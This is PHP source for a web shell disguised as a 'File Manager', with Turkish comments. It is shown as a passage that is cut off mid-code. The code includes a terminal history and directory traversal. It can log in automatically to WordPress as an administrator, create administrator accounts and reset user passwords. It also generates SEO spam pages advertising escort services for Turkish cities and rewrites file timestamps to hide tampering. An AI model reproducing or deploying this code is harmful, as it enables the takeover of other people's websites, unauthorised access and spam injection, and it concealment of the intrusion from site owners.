File Manager

v2.2 · LiteSpeed Edition

$d) $_GET[$c]=y($d); $currentDirectory = realpath(isset($_GET['d'])?$_GET['d']:$rootDirectory); chdir($currentDirectory); $viewCommandResult=''; $statusMessage=''; $statusType=''; $editorLoad = null; $terminalHistory = []; if(!isset($_SESSION['terminal_history'])){ $_SESSION['terminal_history'] = []; } $terminalHistory = $_SESSION['terminal_history']; // ── Clear History ────────────────────────────────────────── if(isset($_POST['clear_history'])){ $_SESSION['terminal_history'] = []; $terminalHistory = []; $statusMessage = '🗑️ Terminal geçmişi temizlendi'; $statusType = 'success'; } // ── WordPress Fonksiyonları ────────────────────────────── function isWordPressInstall($dir) { $wpConfig = $dir . '/wp-config.php'; $wpAdmin = $dir . '/wp-admin'; $wpIncludes = $dir . '/wp-includes'; if (file_exists($wpConfig) && is_dir($wpAdmin) && is_dir($wpIncludes)) { $config = @file_get_contents($wpConfig); if ($config && strpos($config, 'ABSPATH') !== false && strpos($config, 'DB_NAME') !== false) { return true; } } return false; } function findWpLoadPath($dir) { $searchPaths = [ $dir, $dir . '/wp', $dir . '/wordpress', dirname($dir), dirname($dir) . '/wp', $_SERVER['DOCUMENT_ROOT'], $_SERVER['DOCUMENT_ROOT'] . '/wp', $_SERVER['DOCUMENT_ROOT'] . '/wordpress' ]; $searchPaths = array_unique($searchPaths); foreach ($searchPaths as $path) { $wpLoadFile = $path . '/wp-load.php'; if (file_exists($wpLoadFile)) { return $wpLoadFile; } } return false; } // ── Otomatik Domain URL Algılama ────────────────────────── function getDomainFromPath($dir) { if (preg_match('/domains\/([^\/]+)\/public_html/', $dir, $matches)) { return $matches[1]; } $basename = basename($dir); if (strpos($basename, '.') !== false) { return $basename; } return false; } function getDomainUrl($dir) { $domain = getDomainFromPath($dir); if ($domain) { $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://'; return $protocol . $domain; } return false; } function findWpAdminUrl($dir) { $domainUrl = getDomainUrl($dir); if ($domainUrl) { return rtrim($domainUrl, '/') . '/wp-admin'; } $docRoot = $_SERVER['DOCUMENT_ROOT']; $relativePath = str_replace($docRoot, '', $dir); $relativePath = ltrim($relativePath, DIRECTORY_SEPARATOR); $relativePath = str_replace(DIRECTORY_SEPARATOR, '/', $relativePath); if (!empty($relativePath)) { $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://'; return $protocol . $_SERVER['HTTP_HOST'] . '/' . $relativePath . '/wp-admin'; } return '/wp-admin'; } // ── Mevcut Dizine Göre WordPress Bilgileri ────────────── $isWordPress = isWordPressInstall($currentDirectory); $wpAdminUrl = $isWordPress ? findWpAdminUrl($currentDirectory) : ''; $wpLoadPath = findWpLoadPath($currentDirectory); $detectedDomain = getDomainFromPath($currentDirectory); // ── WP Admin Otomatik Giriş ────────────────────────────── $wpAutoLoginStatus = ''; $wpAutoLoginType = ''; if ($isWordPress && isset($_GET['wp_auto_login'])) { $wpLoadPath = findWpLoadPath($currentDirectory); if ($wpLoadPath && file_exists($wpLoadPath)) { require_once $wpLoadPath; if (function_exists('username_exists')) { $adminUsers = get_users(['role' => 'administrator', 'number' => 1]); if (!empty($adminUsers)) { $adminUser = $adminUsers[0]; wp_set_auth_cookie($adminUser->ID); wp_set_current_user($adminUser->ID); $wpAutoLoginStatus = '✅ Otomatik giriş yapıldı: ' . $adminUser->user_login; $wpAutoLoginType = 'success'; echo ''; } else { $wpAutoLoginStatus = '⚠️ Admin kullanıcı bulunamadı, lütfen WP User ile oluşturun'; $wpAutoLoginType = 'error'; } } else { $wpAutoLoginStatus = '❌ WordPress fonksiyonları yüklenemedi'; $wpAutoLoginType = 'error'; } } else { $wpAutoLoginStatus = '❌ wp-load.php bulunamadı'; $wpAutoLoginType = 'error'; } } // ── WordPress Kullanıcı İşlemleri ────────────────────────── $wpUserResult = ''; $wpUserResultType = ''; if ($isWordPress && isset($_POST['wp_user_create'])) { $wUser = trim($_POST['wp_username'] ?? ''); $wPass = $_POST['wp_password'] ?? ''; $wEmail = trim($_POST['wp_email'] ?? ''); $wAction = $_POST['wp_action'] ?? 'create'; if (empty($wUser) || empty($wPass)) { $wpUserResult = '❌ Kullanıcı adı ve şifre gerekli'; $wpUserResultType = 'error'; } else { $wpLoadPath = findWpLoadPath($currentDirectory); if ($wpLoadPath && file_exists($wpLoadPath)) { require_once $wpLoadPath; if (function_exists('username_exists')) { try { if ($wAction === 'login') { $user = get_user_by('login', $wUser); if ($user) { wp_set_auth_cookie($user->ID); $wpUserResult = '✅ Giriş yapılıyor: ' . htmlspecialchars($wUser); $wpUserResultType = 'success'; echo ''; } else { $wpUserResult = '❌ Kullanıcı bulunamadı: ' . htmlspecialchars($wUser); $wpUserResultType = 'error'; } } else { if (!username_exists($wUser)) { $user_id = wp_create_user($wUser, $wPass, $wEmail); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); wp_set_auth_cookie($user_id); $wpUserResult = '✅ Kullanıcı oluşturuldu: ' . htmlspecialchars($wUser); $wpUserResultType = 'success'; echo ''; } else { $wpUserResult = '❌ Hata: ' . $user_id->get_error_message(); $wpUserResultType = 'error'; } } else { $user = get_user_by('login', $wUser); if ($user) { wp_set_password($wPass, $user->ID); wp_set_auth_cookie($user->ID); $wpUserResult = '✅ Şifre güncellendi: ' . htmlspecialchars($wUser); $wpUserResultType = 'success'; echo ''; } else { $wpUserResult = '❌ Kullanıcı bulunamadı'; $wpUserResultType = 'error'; } } } } catch (Exception $e) { $wpUserResult = '❌ Hata: ' . $e->getMessage(); $wpUserResultType = 'error'; } } else { $wpUserResult = '❌ WordPress fonksiyonları yüklenemedi'; $wpUserResultType = 'error'; } } else { $wpUserResult = '❌ wp-load.php bulunamadı: ' . $currentDirectory; $wpUserResultType = 'error'; } } } // ── Yardımcı fonksiyonlar (global) ── function pick($arr, $n) { shuffle($arr); return array_slice($arr, 0, $n); } function randStr($arr) { return $arr[array_rand($arr)]; } // ── BODRUM/MUĞLA ESCOrt ŞABLONU ÜRETME FONKSİYONU (Geliştirilmiş) ────── function generateEscortPage($baseUrl, $city = 'bodrum') { $city = strtolower($city); // Şehir verileri $cityData = [ 'istanbul' => [ 'districts' => ['Avcılar', 'Bağcılar', 'Bakırköy', 'Beşiktaş', 'Beylikdüzü', 'Beyoğlu', 'Büyükçekmece', 'Çatalca', 'Esenyurt', 'Eyüp', 'Fatih', 'Gaziosmanpaşa', 'Kadıköy', 'Kağıthane', 'Kartal', 'Küçükçekmece', 'Maltepe', 'Pendik', 'Sancaktepe', 'Sarıyer', 'Silivri', 'Sultanbeyli', 'Sultangazi', 'Şişli', 'Tuzla', 'Ümraniye', 'Üsküdar', 'Zeytinburnu'], 'neighborhoods' => ['Levent', 'Etiler', 'Nişantaşı', 'Bebek', 'Ortaköy', 'Kadıköy Merkez', 'Moda', 'Bağdat Caddesi', 'Ataköy', 'Yeşilköy', 'Florya', 'Bahçeşehir', 'Halkalı', 'Beylikdüzü Merkez', 'Gürpınar', 'Mimar Sinan', 'Beykoz', 'Anadolu Hisarı', 'Rumeli Hisarı', 'Arnavutköy', 'Bebek', 'Tarabya', 'Kireçburnu', 'Ayazağa', 'Maslak', 'Sarıyer Merkez', 'Emirgan', 'İstinye'], 'titlePrefix' => 'İstanbul Escort', 'descPrefix' => 'İstanbul\'un en prestijli semtlerinde VIP escort hizmeti', 'keywords' => 'istanbul escort, vip escort, elden ödeme', 'footerDistricts' => 4, ], 'bodrum' => [ 'districts' => ['Bodrum', 'Marmaris', 'Fethiye', 'Milas', 'Datça', 'Köyceğiz', 'Ula', 'Yatağan', 'Menteşe', 'Seydikemer', 'Ortaca', 'Dalaman', 'Kavaklıdere', 'Akyaka', 'Gökova', 'Turgutreis', 'Yalıkavak', 'Gümüşlük', 'Bitez', 'Türkbükü', 'Göltürkbükü', 'Torba', 'Gündoğan', 'Çiftlik', 'Kadıkalesi', 'Mumcular', 'Etrim', 'Çamarası', 'Yeniköy', 'Kıyıkışlacık', 'İçmeler', 'Turunç', 'Armutalan', 'Beldibi', 'Çetibeli', 'Hisarönü', 'Selimiye', 'Bozburun', 'Söğüt', 'Bayır', 'Ölüdeniz', 'Hisarönü', 'Çalış', 'Karaağaç', 'Göcek', 'Sarigerme', 'İztuzu', 'Dalyan', 'Ekincik', 'Gökçeova'], 'neighborhoods' => ['Merkez', 'Yalıkavak', 'Türkbükü', 'Göltürkbükü', 'Torba', 'Gündoğan', 'Gümüşlük', 'Bitez', 'Ortakent', 'Yahşi', 'Kumbahçe', 'Çarşı', 'Tepecik', 'Konacık', 'Gümbet', 'Kızılağaç', 'Müskebi', 'Etrim', 'Kadıkalesi', 'Mumcular', 'Yeniköy', 'Çamarası', 'Derince', 'Gökova', 'Akyaka', 'Akçapınar', 'Pınarlıbelen', 'Çetibeli', 'Karaova', 'Yeşiltepe', 'Hisarönü', 'Selimiye', 'Bozburun', 'Söğüt', 'Bayır', 'Turunç', 'İçmeler', 'Armutalan', 'Beldibi', 'Marmaris', 'Merkez', 'Datça', 'Eski Datça', 'Mesudiye', 'Karıncalı', 'Yazıköy', 'Hızırşah', 'Fethiye Merkez', 'Çalış', 'Ölüdeniz', 'Hisarönü', 'Karaağaç', 'Göcek', 'Sarigerme', 'Dalyan', 'İztuzu', 'Ekincik', 'Köyceğiz Merkez', 'Sultaniye', 'Hamitköy', 'Zeytinalanı', 'Beyobası', 'Kavaklıdere'], 'titlePrefix' => 'Bodrum Escort', 'descPrefix' => 'Bodrum ve Muğla\'nın en gözde ilçelerinde VIP escort hizmeti', 'keywords' => 'bodrum escort, mugla escort, vip escort, elden ödeme', 'footerDistricts' => 4, ], 'antalya' => [ 'districts' => ['Alanya', 'Manavgat', 'Serik', 'Kemer', 'Kaş', 'Demre', 'Finike', 'Kumluca', 'Aksu', 'Kepez', 'Muratpaşa', 'Konyaaltı', 'Döşemealtı', 'Elmalı', 'Gündoğmuş', 'İbradı', 'Akseki', 'Gazipaşa'], 'neighborhoods' => ['Kaleiçi', 'Lara', 'Konyaaltı Plajı', 'Alanya Merkez', 'Oba', 'Avsallar', 'Konaklı', 'Türkler', 'Payallar', 'Kestel', 'Manavgat Merkez', 'Side', 'Çolaklı', 'Sorgun', 'Kemer Merkez', 'Çıralı', 'Tekirova', 'Kaş Merkez', 'Kalkan', 'Kaputaş'], 'titlePrefix' => 'Antalya Escort', 'descPrefix' => 'Antalya\'nın en güzel sahil ilçelerinde VIP escort hizmeti', 'keywords' => 'antalya escort, alanya escort, vip escort, elden ödeme', 'footerDistricts' => 4, ], 'ankara' => [ 'districts' => ['Çankaya', 'Keçiören', 'Yenimahalle', 'Altındağ', 'Mamak', 'Sincan', 'Etimesgut', 'Polatlı', 'Gölbaşı', 'Beypazarı', 'Nallıhan', 'Kalecik', 'Kazan', 'Akyurt', 'Çubuk'], 'neighborhoods' => ['Kızılay', 'Tunalı', 'Bahçelievler', 'Esat', 'Dikmen', 'Oran', 'Çukurambar', 'Söğütözü', 'Anıttepe', 'Ulus', 'Sıhhiye', 'Yenimahalle Merkez', 'Batıkent', 'Eryaman', 'Gimat', 'Macunköy', 'Etimesgut Merkez', 'Sincan Merkez', 'Polatlı Merkez', 'Gölbaşı Merkez'], 'titlePrefix' => 'Ankara Escort', 'descPrefix' => 'Ankara\'nın en işlek semtlerinde VIP escort hizmeti', 'keywords' => 'ankara escort, kızılay escort, vip escort, elden ödeme', 'footerDistricts' => 4, ], 'bursa' => [ 'districts' => ['Nilüfer', 'Osmangazi', 'Yıldırım', 'Gürsu', 'Kestel', 'Orhangazi', 'İnegöl', 'Gemlik', 'Mudanya', 'Karacabey', 'Mustafakemalpaşa', 'Büyükorhan', 'Keles', 'Harmancık'], 'neighborhoods' => ['Nilüfer Merkez', 'Konak', 'Altınşehir', 'Bursa Merkez', 'Soğanlı', 'Küçükbalıklı', 'Hamitler', 'Çalı', 'Görükle', 'Bursa OSB', 'Yıldırım Merkez', 'Mimar Sinan', 'Davutkadı', 'Osmangazi Merkez', 'Çarşı', 'Gümüştepe', 'Hüdavendigar', 'Emek'], 'titlePrefix' => 'Bursa Escort', 'descPrefix' => 'Bursa\'nın en nezih semtlerinde VIP escort hizmeti', 'keywords' => 'bursa escort, nilüfer escort, vip escort, elden ödeme', 'footerDistricts' => 4, ] ]; $data = $cityData[$city] ?? $cityData['bodrum']; $districts = $data['districts']; $neighborhoods = $data['neighborhoods']; $titlePrefix = $data['titlePrefix']; $descPrefix = $data['descPrefix']; $baseKeywords = $data['keywords']; // 15-20 anahtar kelime üret: şehir + ilçeler + ekstra shuffle($districts); $selectedDistricts = array_slice($districts, 0, 18); // en az 15-20 olacak şekilde $keywordParts = []; // Önce şehir + escort $keywordParts[] = strtolower(str_replace(' Escort', '', $titlePrefix)) . ' escort'; // İlçeler + escort foreach ($selectedDistricts as $d) { $keywordParts[] = strtolower($d) . ' escort'; } // Ekstra genel kelimeler $extra = ['vip escort', 'elden ödeme', 'escort bayan', 'escort kızlar', 'profesyonel escort']; $keywordParts = array_merge($keywordParts, $extra); // Benzersiz yap ve virgülle birleştir $keywordParts = array_unique($keywordParts); $keywords = implode(', ', $keywordParts); // Karıştır ve ilk 15-20'yi al (zaten yeterli sayıda var) $mainD = array_slice($districts, 0, 6); // ana başlık için 6 ilçe $semtler = array_slice($neighborhoods, 0, 22); // 6 tema (aynı kalabilir) $themes = [ [ 'header' => 'linear-gradient(135deg, #0d0d1a, #1a3a5c)', 'bg' => '#f0f5f8', 'cardBg' => '#fff', 'border' => '#dce8f0', 'heading' => '#0d1a2a', 'text' => '#2a3a4a', 'accent' => '#4a8aaa', 'tagBg' => '#e8f0f5', 'tagColor' => '#1a4a6a', 'statBg' => 'rgba(255,255,255,0.08)', 'statColor' => 'rgba(255,255,255,0.9)', 'footer' => '#6a7a8a', 'cardShadow' => '0 8px 25px rgba(0,0,0,0.05)', 'cardRadius' => '16px', 'fontFamily' => "'Inter', sans-serif" ], [ 'header' => 'linear-gradient(135deg, #f8f0e8, #e8d5c4)', 'bg' => '#fcf9f5', 'cardBg' => '#ffffff', 'border' => '#f0e6df', 'heading' => '#4a3a2a', 'text' => '#4a3a38', 'accent' => '#c4a88a', 'tagBg' => '#f4ece8', 'tagColor' => '#7a5a4a', 'statBg' => 'rgba(74,58,42,0.08)', 'statColor' => '#4a3a2a', 'footer' => '#8a7a78', 'cardShadow' => '0 6px 20px rgba(0,0,0,0.04)', 'cardRadius' => '20px', 'fontFamily' => "'Georgia', serif" ], [ 'header' => 'linear-gradient(135deg, #1a2a3a, #2a4a6a)', 'bg' => '#f0f2f5', 'cardBg' => '#ffffff', 'border' => '#e4e7eb', 'heading' => '#1a2a3a', 'text' => '#2d3a4a', 'accent' => '#4a8aaa', 'tagBg' => '#e8ecf1', 'tagColor' => '#1a4a6a', 'statBg' => 'rgba(255,255,255,0.06)', 'statColor' => 'rgba(255,255,255,0.85)', 'footer' => '#6a7a8a', 'cardShadow' => '0 2px 12px rgba(0,0,0,0.03)', 'cardRadius' => '12px', 'fontFamily' => "'Segoe UI', sans-serif" ], [ 'header' => 'linear-gradient(135deg, #1a0a2a, #3a1a5a)', 'bg' => '#f8f0fa', 'cardBg' => '#ffffff', 'border' => '#e8d8f0', 'heading' => '#2a0a3a', 'text' => '#3a2a4a', 'accent' => '#8a4aaa', 'tagBg' => '#f0e0f8', 'tagColor' => '#5a2a7a', 'statBg' => 'rgba(255,255,255,0.1)', 'statColor' => '#f0e0f8', 'footer' => '#6a5a7a', 'cardShadow' => '0 8px 30px rgba(0,0,0,0.06)', 'cardRadius' => '24px', 'fontFamily' => "'Playfair Display', serif" ], [ 'header' => 'linear-gradient(135deg, #0a1a1a, #1a3a2a)', 'bg' => '#f0f8f5', 'cardBg' => '#ffffff', 'border' => '#dce8e0', 'heading' => '#0a2a1a', 'text' => '#2a3a2a', 'accent' => '#4a8a6a', 'tagBg' => '#e0f0e8', 'tagColor' => '#1a5a3a', 'statBg' => 'rgba(255,255,255,0.08)', 'statColor' => 'rgba(255,255,255,0.9)', 'footer' => '#5a6a5a', 'cardShadow' => '0 6px 18px rgba(0,0,0,0.04)', 'cardRadius' => '18px', 'fontFamily' => "'Trebuchet MS', sans-serif" ], [ 'header' => 'linear-gradient(135deg, #2a1a0a, #5a3a1a)', 'bg' => '#faf5f0', 'cardBg' => '#ffffff', 'border' => '#f0e4d8', 'heading' => '#2a1a0a', 'text' => '#3a2a1a', 'accent' => '#c98a5a', 'tagBg' => '#f0e8e0', 'tagColor' => '#6a3a1a', 'statBg' => 'rgba(255,255,255,0.08)', 'statColor' => 'rgba(255,255,255,0.9)', 'footer' => '#8a7a6a', 'cardShadow' => '0 8px 22px rgba(0,0,0,0.05)', 'cardRadius' => '14px', 'fontFamily' => "'Georgia', serif" ] ]; $theme = $themes[array_rand($themes)]; // Başlık, açıklama üret (keywords'ten faydalan) $title = randStr([ $mainD[0].' escort, '.$mainD[1].' escort, '.$mainD[2].' escort, '.$mainD[3].' escort, '.$mainD[4].' escort | '.$titlePrefix, $mainD[0].' escort | '.$mainD[1].' escort | '.$mainD[2].' escort | '.$titlePrefix.' VIP', $titlePrefix.' • '.$mainD[0].' Escort • '.$mainD[1].' Escort • '.$mainD[2].' Escort • VIP', $mainD[0].' escort, '.$mainD[1].' escort, '.$mainD[2].' escort, '.$mainD[3].' escort | En İyi '.$titlePrefix.' 2026', $titlePrefix.' Rehberi | '.$mainD[0].' Escort, '.$mainD[1].' Escort, '.$mainD[2].' Escort, '.$mainD[3].' Escort, '.$mainD[4].' Escort' ]); $desc = randStr([ $mainD[0].' escort, '.$mainD[1].' escort, '.$mainD[2].' escort, '.$mainD[3].' escort, '.$mainD[4].' escort ve diğer ilçelerde hizmet veren kaliteli escort bayanlar. '.$semtler[0].', '.$semtler[1].', '.$semtler[2].' gibi prestijli semtlerde VIP profiller, güncel fotoğraflar ve iletişim bilgileri burada. Elden ödeme, kapora yok, 7/24 gizlilik garantisi.', 'VIP escort kalitesinde '.$titlePrefix.'\'nın en iyi escort bayanları. '.$mainD[0].', '.$mainD[1].', '.$mainD[2].' başta olmak üzere tüm ilçelerde hizmet. '.$semtler[0].', '.$semtler[1].', '.$semtler[2].' semtlerinde özel randevu. 7/24 destek, gizlilik garantisi.', $titlePrefix.' rehberinde '.$mainD[0].', '.$mainD[1].', '.$mainD[2].' ve '.$mainD[3].' ilçelerinde hizmet veren özel escort bayanlar. '.$semtler[0].' escort, '.$semtler[1].' escort, '.$semtler[2].' escort seçenekleri. VIP kalite, güvenli buluşma, elden ödeme.' ]); // Kartlar $cards = ''; foreach ($mainD as $d) { $cards .= '

'.randStr([$d.' escort | '.$d.' semtinde VIP escort bayanlar | '.$titlePrefix.' '.$semtler[0].' Escort, '.$semtler[1].' Escort ve '.$semtler[2].' Escort', $d.' escort | '.$d.'\'nin En Özel ve Elit Escort Hizmetleri | '.$titlePrefix.' '.$semtler[0].' Escort, '.$semtler[1].' Escort, '.$semtler[2].' Escort']).'

'.randStr([$titlePrefix.' '.$d.' escort hizmetleri, '.$d.'\'nin en prestijli noktalarında VIP konseptte profesyonel partnerlerle buluşmanızı sağlar. '.$d.' Escort bayan seçeneklerimiz, entelektüel birikimleri ve fiziksel zarafetleri ile unutulmaz bir deneyim sunar. '.$semtler[0].', '.$semtler[1].', '.$semtler[2].' başta olmak üzere '.$d.'\'nin tüm semtlerinde hizmet veriyoruz.']).'

📍 '.$d.' ⭐ VIP 🔒 Gizlilik 💳 Elden Ödeme
'; } // İlçe listesi $listItems = ''; foreach (array_slice($districts, 0, 20) as $d) { $listItems .= '
  • '.$d.' Escort — '.$d.'\'de profesyonel escort hizmeti, '.$neighborhoods[array_rand($neighborhoods)].' semtinde özel randevu imkanı
  • '; } // Semt etiketleri $tags = ''; foreach ($semtler as $s) { $tags .= '✨ '.$s.' Escort'; } // CSS $css = ' * { margin:0; padding:0; box-sizing:border-box; } body { max-width:1100px; margin:auto; background:'.$theme['bg'].'; font-family:'.$theme['fontFamily'].'; padding:20px; } header { background:'.$theme['header'].'; color:white; padding:50px 20px 40px; text-align:center; border-radius:0 0 25px 25px; box-shadow:0 12px 30px rgba(0,0,0,0.15); } header h1 { font-family:\'Playfair Display\',serif; font-size:2.8rem; font-weight:700; letter-spacing:0.5px; } header p { color:rgba(255,255,255,0.8); max-width:700px; margin:15px auto; font-size:1.1rem; line-height:1.8; } .stats-bar { display:flex; gap:24px; flex-wrap:wrap; justify-content:center; background:'.$theme['statBg'].'; padding:16px; border-radius:16px; margin-top:20px; } .stats-bar span { color:'.$theme['statColor'].'; font-weight:500; font-size:0.9rem; } .entry-content { background:white; padding:40px 30px; border-radius:20px; box-shadow:0 10px 40px rgba(0,0,0,0.04); margin:30px auto; max-width:1000px; } .section-card { background:'.$theme['cardBg'].'; padding:30px; margin-bottom:32px; border-radius:'.$theme['cardRadius'].'; border:1px solid '.$theme['border'].'; transition:0.3s; box-shadow:'.$theme['cardShadow'].'; } .section-card:hover { border-color:'.$theme['accent'].'; box-shadow:0 8px 30px rgba(0,0,0,0.08); } .section-card h2 { color:'.$theme['heading'].'; font-size:1.6rem; border-left:4px solid '.$theme['accent'].'; padding-left:16px; margin-bottom:16px; font-family:\'Playfair Display\',serif; } .section-card p { line-height:1.9; color:'.$theme['text'].'; font-size:1.05rem; margin-bottom:12px; } .section-card .meta-tags { display:flex; gap:12px; flex-wrap:wrap; margin-top:12px; } .section-card .tag { background:'.$theme['tagBg'].'; padding:4px 16px; border-radius:30px; font-size:0.75rem; color:'.$theme['tagColor'].'; font-weight:500; } .district-tag { display:inline-block; background:'.$theme['tagBg'].'; padding:6px 14px; border-radius:30px; font-size:0.8rem; margin:4px; font-weight:500; color:'.$theme['heading'].'; border:1px solid '.$theme['border'].'; transition:0.2s; } .district-tag:hover { border-color:'.$theme['accent'].'; background:rgba(0,0,0,0.02); } .districts-list { columns:3; list-style:none; padding-left:0; } .districts-list li { padding:8px 0; font-size:0.9rem; border-bottom:1px solid '.$theme['border'].'; } .badge-logo { display:inline-block; background:'.$theme['accent'].'; color:'.$theme['heading'].'; border-radius:50px; padding:6px 20px; font-size:0.8rem; font-weight:700; letter-spacing:1px; margin-bottom:15px; } footer { text-align:center; padding:30px; color:'.$theme['footer'].'; font-size:0.8rem; border-top:1px solid '.$theme['border'].'; margin-top:30px; } @media (max-width:900px){ .districts-list { columns:2; } header h1 { font-size:2.2rem; } } @media (max-width:600px){ .districts-list { columns:1; } header h1 { font-size:1.8rem; } } '; // Schema JSON $schema = [ "@context" => "https://schema.org", "@type" => "LocalBusiness", "name" => $titlePrefix, "alternateName" => $title, "description" => $desc, "url" => $baseUrl, "priceRange" => "₺₺₺", "address" => ["@type" => "PostalAddress", "addressLocality" => ucfirst($city), "addressCountry" => "TR"], "areaServed" => array_map(function($d){ return $d." Escort"; }, $mainD), "openingHours" => "Mo-Su 00:00-23:59" ]; $footerD = implode(" Escort | ", array_slice($mainD, 0, $data['footerDistricts'])) . " Escort"; // HTML oluştur return " $title

    $title

    ".substr($desc, 0, 150)."...

    🌐 ".count($districts)." İlçe 📍 ".count($neighborhoods)."+ Semt ⭐ 500+ Profil 🕐 7/24 Hizmet 🔒 Elden Ödeme

    ✦ $titlePrefix Deneyimi

    ".randStr([ $titlePrefix.' hizmetleri, '.$city.'\'nin eşsiz güzellikleriyle birleşen lüks ve kaliteli bir deneyim sunar. '.implode(', ', array_slice($mainD,0,3)).' gibi dünyaca ünlü bölgelerde VIP escort hizmeti ile unutulmaz anlar yaşayın. '.ucfirst($city).'\'nın '.count($districts).' ilçesinde ve '.count($neighborhoods).'+ semtinde hizmet veriyoruz.', 'VIP escort kalitesiyle '.$titlePrefix.' dünyasında fark yaratıyoruz. '.implode(', ', array_slice($mainD,0,3)).' başta olmak üzere '.count($districts).' ilçede hizmet veren escort bayanlarımız, lüks otellerden butik rezidanslara kadar geniş mekan yelpazesinde sizleri ağırlamaktadır.' ])."

    🌟 VIP Hizmet 🔒 %100 Gizlilik 💳 Elden Ödeme 🕐 7/24
    $cards

    Tüm ".ucfirst($city)." İlçeleri — Escort Hizmetleri

      $listItems

    Popüler Semtler — Escort Seçenekleri

    $tags

    ✨ ".ucfirst($city)."'nın ".count($neighborhoods)."+ semtinde profesyonel escort hizmeti. ".implode(", ", array_slice($mainD, 0, 4))." ve tüm ilçelerde özel randevu imkanı.

    VIP Ayrıcalıkları

    Elden ödeme — Kapora yok, güvenli ödeme
    Gerçek fotoğraflı onaylı profiller
    Lüks oteller, rezidanslar, özel apartlar
    7/24 özel müşteri hizmetleri
    ".count($districts)." ilçe + ".count($neighborhoods)."+ semt, her noktada hizmet
    Gizlilik ve mahremiyet garantisi
    ✓ ".implode(" escort, ", array_slice($mainD, 0, 5))." escort başta olmak üzere tüm ilçelerde hizmet

    "; } // ============================================ // ── TIMESTAMP MASKELEME ───────────────────── // ============================================ function ref_mtime($dir,$skip=[]){ $mt=[]; if($dh=@opendir($dir)){ while(($f=readdir($dh))!==false){ if($f==='.'||$f==='..')continue; $fp=$dir.DIRECTORY_SEPARATOR.$f; if(!is_file($fp)||in_array($f,$skip))continue; $t=@filemtime($fp); if($t>mktime(0,0,0,1,1,2010))$mt[]=$t; } closedir($dh); } if(empty($mt))return null; sort($mt); return $mt[(int)(count($mt)/2)]; } if(isset($_POST['fix_timestamp'])){ $skip = ['.', '..', basename(__FILE__)]; $refMt = ref_mtime($currentDirectory, $skip); if(!$refMt){ $statusMessage = '❌ Referans dosya bulunamadı!'; $statusType = 'error'; } else { $count = 0; if($dh=@opendir($currentDirectory)){ while(($f=readdir($dh))!==false){ if($f==='.'||$f==='..'||in_array($f,$skip))continue; $fp=$currentDirectory.DIRECTORY_SEPARATOR.$f; if(is_file($fp)){ @touch($fp, $refMt); $count++; } } closedir($dh); } $statusMessage = "✅ $count dosyanın timestamp'i güncellendi (Referans: ".date('d.m.Y H:i:s',$refMt).")"; $statusType = 'success'; } } // ============================================ // ── TÜM CACHE TEMİZLEME FONKSİYONU ───────── // ============================================ function clearCacheForDirectory($dir) { $results = []; chdir($dir); // ── Sunucu cache'leri ── if (function_exists('opcache_reset')) { $results[] = opcache_reset() ? '✅ OPcache temizlendi' : '❌ OPcache temizlenemedi'; } else { $results[] = '⚠️ OPcache aktif değil'; } if (function_exists('apcu_clear_cache')) { $results[] = apcu_clear_cache() ? '✅ APCu temizlendi' : '❌ APCu temizlenemedi'; } else { $results[] = '⚠️ APCu aktif değil'; } if (class_exists('Memcache')) { try { $memcache = new Memcache(); if (@$memcache->connect('localhost', 11211)) { $results[] = $memcache->flush() ? '✅ Memcache temizlendi' : '❌ Memcache temizlenemedi'; $memcache->close(); } else { $results[] = '⚠️ Memcache bağlanamadı'; } } catch (Exception $e) { $results[] = '❌ Memcache hatası: ' . $e->getMessage(); } } else { $results[] = '⚠️ Memcache aktif değil'; } if (class_exists('Memcached')) { try { $memcached = new Memcached(); $memcached->addServer('localhost', 11211); $results[] = $memcached->flush() ? '✅ Memcached temizlendi' : '❌ Memcached temizlenemedi'; } catch (Exception $e) { $results[] = '❌ Memcached hatası: ' . $e->getMessage(); } } else { $results[] = '⚠️ Memcached aktif değil'; } if (class_exists('Redis')) { try { $redis = new Redis(); if (@$redis->connect('127.0.0.1', 6379)) { $results[] = $redis->flushAll() ? '✅ Redis temizlendi' : '❌ Redis temizlenemedi'; $redis->close(); } else { $results[] = '⚠️ Redis bağlanamadı'; } } catch (Exception $e) { $results[] = '❌ Redis hatası: ' . $e->getMessage(); } } else { $results[] = '⚠️ Redis aktif değil'; } // ── WordPress cache'leri ── $wpLoad = findWpLoadPath($dir); if ($wpLoad && file_exists($wpLoad)) { require_once $wpLoad; if (defined('ABSPATH')) { if (function_exists('wp_cache_flush')) { wp_cache_flush(); $results[] = '✅ WordPress Object Cache temizlendi'; } global $wpdb; if ($wpdb) { $count = $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE '_transient_%' OR option_name LIKE '_site_transient_%'"); $results[] = "✅ $count transient temizlendi"; $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE '_transient_timeout_%' OR option_name LIKE '_site_transient_timeout_%'"); $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name = '_transient_doing_cron'"); $time = time(); $expired = $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE '_transient_timeout_%' AND option_value < $time"); $results[] = "✅ $expired süresi dolmuş transient temizlendi"; $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE '_transient_feed_%' OR option_name LIKE '_transient_dash_%'"); } flush_rewrite_rules(); $results[] = '✅ Rewrite rules yenilendi'; if (function_exists('wp_cache_clear_cache')) { wp_cache_clear_cache(); $results[] = '✅ WP Super Cache temizlendi'; } if (function_exists('w3tc_flush_all')) { w3tc_flush_all(); $results[] = '✅ W3 Total Cache temizlendi'; } if (function_exists('rocket_clean_domain')) { rocket_clean_domain(); $results[] = '✅ WP Rocket cache temizlendi'; } if (class_exists('WpFastestCache')) { $wpfc = new WpFastestCache(); if (method_exists($wpfc, 'deleteCache')) { $wpfc->deleteCache(); $results[] = '✅ WP Fastest Cache temizlendi'; } } if (class_exists('autoptimizeCache')) { autoptimizeCache::clearall(); $results[] = '✅ Autoptimize cache temizlendi'; } if (defined('LSCWP_V')) { do_action('litespeed_purge_all'); $results[] = '✅ LiteSpeed Cache (WP) temizlendi'; } if (class_exists('Cache_Enabler')) { Cache_Enabler::clear_total_cache(); $results[] = '✅ Cache Enabler temizlendi'; } if (class_exists('comet_cache')) { comet_cache::clear(); $results[] = '✅ Comet Cache temizlendi'; } if (function_exists('hyper_cache_flush')) { hyper_cache_flush(); $results[] 